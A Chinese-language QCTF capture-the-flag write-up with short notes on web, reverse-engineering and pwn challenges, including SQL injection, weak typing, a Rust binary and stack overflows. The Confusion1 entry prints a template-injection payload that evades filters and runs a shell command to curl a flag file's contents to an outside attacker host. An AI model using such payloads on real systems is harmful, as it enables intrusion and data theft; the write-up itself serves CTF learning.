QCTF writeup
第一天做了俩2re, 2pwn, 1web然后头疼就睡觉了
第二天起来比赛已经结束了..又看了俩Web…和一些逆向
虽然都是简单题…但我逆向太差了…做了挺久…而且逆完第二个就不想做了, 太弱了
Web
NewsCenter
union注入
Lottery
弱类型, 购买的时候, 把数字都改成true, true和数字弱类型比较相等, 就会返回猜对了
Confusion1
有一些过滤, ‘sys’, 管道和反引号好像过滤了, 稍微改一下就OK
http://47.96.118.255:2333/{{config['O'+'SX'].__dict__['sy'+'stem']('curl http://1xx.1xx.xx.xx:7788/$(ca'+'t /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt)')}}
Re
Xman-babyMips
丢到jeb里看个大概, 每一位都是独立的, 就爆破一下
asong
我就是对着代码硬着逆的…不知道大佬怎么逆的
baby-re
现在看到baby就感觉…这可能是什么奇异的题目, 直觉告诉我…可能不是C/C++
丢到IDA里看了一下….函数不是一般的多…
动态链接还这么多应该就是其他语言或者用了什么框架之类的吧
看了看字符串…感觉也许是rust
, 我又没学过, 我也很无奈呀
但随手敲一个答案, 连提示都没有…
扫到一个函数, 里面有32位, 猜flag是32位的, 试了一下QCTF{AAAAAAAAAAAAAAAAAAAAAAAAAA}
, 出了个wrong
艰难的看了一下字符串, 正确应该是correct
…但没看到, 然后gdb里search了一下, 看到了原来correct
在另一个字符串后面跟着, 喵喵喵?
有些函数没法F5
, 报错..call analysis failed
…这个时候往往是调用时参数分析不正确, 手动把那个函数参数更改一下, 就OK
那Angr是不是能解决…
这题还开了PIE, 我不会写, 放弃了, 等看flag
ollvm
如何反混淆?
https://bbs.pediy.com/thread-217727.htm
https://security.tencent.com/index.php/blog/msg/112
这篇文章提到了一个工具..但我用不了, 会报错..
而且程序中好像还用了这个库 https://zh.wikipedia.org/wiki/GNU%E5%A4%9A%E9%87%8D%E7%B2%BE%E5%BA%A6%E8%BF%90%E7%AE%97%E5%BA%93
等WP + 1
Pwn
dice_game
栈溢出, 覆盖随机数种子为0, 然后自己生成50个结果就OK
stack2
覆盖返回地址到system, 加个参数’sh’
没有怎么调, 大概show了一下数字, 看到像是返回地址, 就覆盖试了一下, getshell
唯一的坑点在于不能直接用他的hack函数, 因为他环境里没有bash
…